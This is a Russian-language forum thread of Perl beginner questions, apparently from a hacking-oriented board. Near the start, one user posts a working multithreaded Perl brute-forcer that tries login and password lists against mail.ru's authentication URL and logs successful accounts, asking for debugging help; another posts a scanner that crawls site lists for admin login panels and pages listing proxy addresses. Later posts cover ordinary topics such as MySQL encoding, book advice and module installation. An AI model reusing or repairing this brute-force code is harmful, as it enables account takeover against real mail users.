[Perl] Новичкам: задаем вопросы

Всёравно не хочет

 

Что имеено не хочет? Запускаться, или не чекает или что он там должен делать. Ты подробней опиши

 

это мыльный брут $page = get('http://win.mail.ru/cgi-bin/auth?Login='.$login.'&Domain='.$domian.'&Password='.$paswd);
для мэйл ру а при запуске он тупо закрывается и ни одной ошыбки не выдаёт можэт ктото у себя попробует можэт дело не в скрипте а в моём интерпритаторе ?

сегодня немного поправил скрипт вышло следующее

Code:

#!/usr/bin/perl -w

use LWP::Simple;
use threads;

#   <DOMIAN><LOGINLIST><PASLIST>


$domian=$ARGV[0];
$loginf=$ARGV[1];
$passf=$ARGV[2];


chomp ($domian);
chomp ($loginf);
chomp ($passf);

open(BASE, $loginf); 
chomp(@login = <BASE>);
close(BASE);

open(BASE, $passf); 
chomp(@passl = <BASE>);
close(BASE);

foreach $login (@login)
     {  
foreach $paswd (@passl)
     {
threads->create(\&brut,$login.$paswd)->detach;

sub brut
{
$page = get("http://win.mail.ru/cgi-bin/auth?Login=".$login."&Domain=".$domian."&Password=".$paswd);
if($page =~ />Входящие<\/a><\/div>/)
{
     print "GOOD => $login $domian | $paswd |\n";
     open(F, ">> good.txt");
     print F "$login $domian | $paswd |\n";
     close(F);
}
else
{
     print "BAD => $login $domian | $paswd |\n";
     open(F, ">> bad.txt");
     print F "$login $domian | $paswd |\n";
     close(F);   
}
}
}
}

скрипт вроде как брутит но не пишэт гуды

 

>> для мэйл ру а при запуске он тупо закрывается и ни одной ошыбки не выдаёт можэт ктото у себя попробует можэт дело не в скрипте а в моём интерпритаторе ?

Дело в прослойке между креслом и монитором. Иди читай основы перла, если не можешь адекватно понять те примеры кода что тебе дают.

 

Есть скрипт на перле. Он берёт из файла urls.txt список сайтов, и проверяет наличие на этих сайтах файлов index.php и list.php. Но этот скрипт часто повисает, когда проверяет большие списки сайтов.

Так вот, как можно переделать этот скрипт чтобы он не зависал? Благодарю за любую помощь.

Code:

#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use threads;

open(SOCKS, ">socks.txt") or die("Cannot open file Socks List File or File isn\'t writable");
open(ADMS, ">adms.txt") or die("Cannot open file Adm List File or File isn\'t writable");
open(URLS, "urls.txt") or die("Cannot open file URL List File");

my $threads = 1 ;
my @adms = ('index.php');
my @socks = ('list.php');
my @list;

while (@adms){
my $adm = shift(@adms);
push (@list, $adm);
}

while (@socks){
my $sock = shift(@socks);
push (@list, $sock);
}

my @URLS = <URLS>;
close URLS;
while (@URLS){
my $idx=0;
my @trl;
while (@URLS && ($idx <= $threads)){
my $url = shift(@URLS);
chomp($url);
foreach my $lurl (@list){
my $furl = $url;
$furl .= $lurl;
print $furl."\n";
$trl[$idx]=threads->create(\&check, $idx, \$furl);
$idx++;
}
undef($url);
}
for(@trl){ $_->join; }
}

sub check{
my $url = $_[1];
if ($$url =~ /http:\/\/(.+?)\/(.+)$/i){
my $host = $1;
my $dir = '/'.$2;
if (my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => 80)){
$socket->autoflush(1);
print $socket "GET $dir HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5\r\n";
print $socket "Accept: text/html\r\n";
print $socket "Connection: close\r\n\r\n";
my $answer;
$socket->recv($answer, 2048);
close($socket);
if ($answer =~ /\?m=login/i){
print "[+]".$$url."\n";
print ADMS "$$url\n";
}

if($answer =~ /([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\:([0-9]){1,5}/i){
print "[+]".$$url."\n";
print SOCKS "$$url\n";
}
undef($answer);
undef($$url);
undef($host);
undef($dir);
}
}
}
close SOCKS;
close ADMS;

 

Для начала отформатировать код. Затем обратить внимание на то, что для каждого адреса (url) создается отдельный поток, вместо того, чтобы небольшое количество потоков обрабатывало все адреса по одному, читая их построчно из файла или забирая из массива.

 

Спасибо за подсказку. Но я в перле чайник, а скрипт этот не мой. Как можно его переделать?

 

Здравствуйте,подскажите как решить проблему,В БД Mysql все данные храняться в utf-8 ,скрипт сохранен в кодировке utf-8 ,почему же при выборке данных из бд все данные в utf-8 выдаются в знаках вопросах?
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Всё спасибо.проблема решена дописанием строки $dbh->do('SET NAMES utf8') or die $DBI::errstr;

 

Посоветуйте книгу для новичка
Нашел много книг но почти все очень старые
Нечё если буду учить perl по книге 2004 года

 

программирование на perl

 

Изучаем Perl, то есть легендарная книга с ламой...

 

Лама говно. Верблюд единственно истинен.

 

хочу поинтересоваться каким образом можно скачать файл на хостинг средствами скрипта (с другова сайта указав ссылку)
Если возможно примерчик маленький

 

подробнее опиши задачу

 

К примеру есть скрипт который будет залит на хостинг, в одном из текст файлов будет список ccылок на файлы с других сайтов и будет иногда скачивать файлы к себе на хостинг- на котором он и установлен, через некоторые промежутки времени.
К примеру с depositfile там ещё ограничение по времени значит зашел подождал 60 секунд а потом жмакал на кнопку формы. Вообшем грабер файлов с Депозита
Вот такая вот задачка

 

Есть вопростик, хочу создать сайт с новостями, незнаю как сдлать так чтобы новости на страницу выводились с последнией записи и по допустим 7 штук, а винзу переключатель стоял? ))

 

Есть строка типа:

Code:

http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2500_thumb.php

нужно получить в txt список такого формата:

Code:

http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2501_thumb.php
http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2501_thumb.php
http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2502_thumb.php
http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2503_thumb.php 

и так делее аж до

Code:

9999_thumb.php

Есть идеи?

 

Примерно так.

PHP:

<?php
$str="http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2500_thumb.php";
for($i=2501; $i<9999; $i++)
{
$str1=preg_replace('/,(.*?)_/', $i, $str);
fwrite($handle, $str1."\n");
}
?>

 

Не работет, выдает ошибку в 6 строке, предварительно пару тысяч строк создав в cmd Нужно сохранить ето в текстовике....

 

Проблемма конечно ппц не могу установить модуль пользуюсь strawbery plus Padre класное IDE очень мне нравится так вот дело в том что понадобилось установить модуль пользуюсь встроеным в IDE cpan
Вроде всё нормально

Но он так и отказывается работать

вот такие ошибки при вызове модуля

Can't locate Win32/GUI.pm in @INC (@INC contains: C:/strawberry/perl/lib C:/strawberry/perl/site/lib C:\strawberry\perl\vendor\lib .) at C:\script.pl line 3.
Can't locate Win32/GUI.pm in @INC (@INC contains: C:/strawberry/perl/lib C:/strawberry/perl/site/lib C:\strawberry\perl\vendor\lib .) at C:\script.pl line 3.

Тоесть его нету там где надо

ну вот к примеру код чтоб не грешили на код

Code:

#!perl
use threads;
use Win32::GUI();
 my (
    $MW, %MP, $X, $Y, $SelX,$SelY,
    );
 $MR = 30; # Количество клеток по вертикали
 $MC = 60; # Количество клеток по горизонтале
 $LEFT = 0;  # по X
 $TOP  = 1;  # по Y
 $W = 15; # Ширина клетки поля
 $H = 15; # Высота клетки поля
 $bSelect = 0;
 $MP{'Menu'}  = Win32::GUI::MakeMenu (
   "&Файл"    => "Файл",
   ">&Цвет"   =>  { -name => "ChooseColor", -onClick => \&Form1_Color},
 ); 
 $MW = new Win32::GUI::Window (
    -name  => "Form1",
    -size  => [800, 700],
    -title => "ShameCreate 0.2.3",
    -vscroll => 1,
    -menu  => $MP{'Menu'},
 ) or die "$!";
 
 $MW->Center();
 $MW->Show();
  Win32::GUI::Dialog();
 sub Form1_Color {
    $color = Win32::GUI::ChooseColor (
      -owner => $WM,
    );
    $MP{'Brush'} = new Win32::GUI::Brush (
      -color => $color,
    );
 }
 sub Form1_Paint {
    $DC = shift;
    $threads = threads->new(\&ShamePoleShow);
 }
 sub Form1_MouseDown {
    ($X, $Y) = @_;  
     $posX = ($X - $LEFT) / $W;
     $posY = ($Y - $TOP)  / $H;
      if ($X < $LEFT || $Y < $TOP) 
      {
        $bSelect = 0;
      }
      else
      {
        $bSelect = 1;
        $SelX = int($posX);
        $SelY = int($posY);
        ShamePoleShow();
      }       
 }
 sub ShamePoleShow {
    for($row = 0; $row <= $MR; $row++) {
        for($col = 0; $col <= $MC; $col++) {
            Kletka($row,$col);
        }
    }
 }
 sub Kletka {
    my($row,$col) = @_;
     $x = $LEFT + $col * $W;
     $y = $TOP  + $row * $H;
      if ($bSelect == 0 ) {
       $DC->Rectangle($x-1,$y-1,$x+$W,$y+$H);
      }
        if($bSelect == 1 && $SelX == $col && $SelY == $row)
        {
           $DC->MoveTo($x, $y);
           $DC->LineTo($x+$W, $y+$H);
           $DC->MoveTo($x+$W, $y);
           $DC->LineTo($x, $y+$H);
        }
      return;
 }

черт его знает что делать с этим проклятым cpam как устанавливать его туда куда надо и куда надо ?
Хорошо в Python кинул в папку lib архив с модулем и всё тут же хз целая блин наука